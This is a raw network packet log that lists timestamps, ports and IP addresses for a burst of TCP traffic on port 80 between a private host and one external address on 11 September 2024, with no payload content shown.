Sep 11, 2024 22:52:07.167342901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167356014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167380095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167409897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167426109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167443991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167459965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167476892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167490005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167510033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167531013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167542934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167565107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167577982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167593956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167610884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167629004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167655945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167665958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167687893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167710066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167721033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167740107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167756081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167778015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167788029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167807102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167819977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167840958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167850971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167881012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167885065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167900085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167917967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167937994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167949915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.167967081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.167980909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168004990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168014050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168034077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168062925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168066025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168095112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168117046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168127060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168144941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168160915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168183088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168193102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168211937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168225050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168248892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168260098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168277025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168288946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168313026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168322086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168334961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168354034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168374062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168385029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168407917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168417931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168436050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168451071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168473005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168483973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168515921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168519020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168549061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168555975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168574095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168581963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168596029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168615103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168633938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168647051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168667078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168678999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168700933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168713093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168747902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168751001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168767929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168778896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168790102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168811083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168831110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168842077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168864965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168874979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168894053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168906927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168926954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168939114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168962955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.168971062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.168984890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169003963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.169034958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.169037104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169064999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169068098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.169083118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169101954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.169122934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169133902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.169152021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.169187069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.252891064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.252955914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.252974987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.252990007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253005981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253021955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253037930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253082037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253113985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253129005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253145933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253160954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253177881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253207922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253238916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253304005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253351927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253384113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253433943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253468037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253503084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253532887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253565073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253597975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253631115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253662109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253662109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253662109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253662109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253662109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253663063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253663063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253663063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253663063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253694057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253726959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253750086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253750086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253750086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253750086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253784895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.253799915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253848076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253896952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253927946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253961086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.253993034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254044056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254076004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254107952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254139900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254173040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254192114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254192114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254193068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254193068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254220963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254256010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254275084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254275084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254275084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254288912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254304886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254322052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254345894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254354000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254384041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254386902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254405022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254419088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254450083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254456997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254472971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254507065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254514933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254539967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254566908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254597902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254630089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254662037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254693985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254746914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254759073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254760027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254780054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254812002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254847050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254847050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254861116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254870892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254893064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254925013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254925966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254944086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254959106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.254987955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.254990101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255014896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255040884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255047083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255073071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255100965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255105019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255120039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255137920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255162001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255187035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255211115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255218029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255242109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255250931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255259991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255290985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255311012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255321980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255350113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255353928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255372047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255405903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255436897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255439997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255455971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255474091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255491018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255506992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255523920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255537987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255554914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255572081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255600929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255604029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255623102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255635977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255666971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255667925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255687952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255702019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255727053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255734921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255762100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255768061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255779028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255801916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255825043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255832911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255848885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255865097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255892992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255897045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255909920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255928993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255950928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255961895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.255987883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.255994081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256011963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256027937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256046057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256059885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256083012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256092072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256119013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256119967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256151915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256155968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256174088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256184101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256205082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256217003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256238937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256248951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256268024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256280899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256304026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256313086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256339073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256345987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256367922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256378889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256402016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256411076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256439924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256447077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256459951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256479979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256510973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256510973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256531954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256541014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256572008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256582022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256603956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256604910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256623983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256639004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256670952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256673098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256692886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256702900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256731033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256736040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.256750107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.256798029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.339991093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340056896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340107918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340104103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340105057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340142012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340168953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340190887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340193033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340225935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340245008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340276003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.340276957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340310097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.340342999 CEST	49733	80	192.168.2.4	45.152.113.10
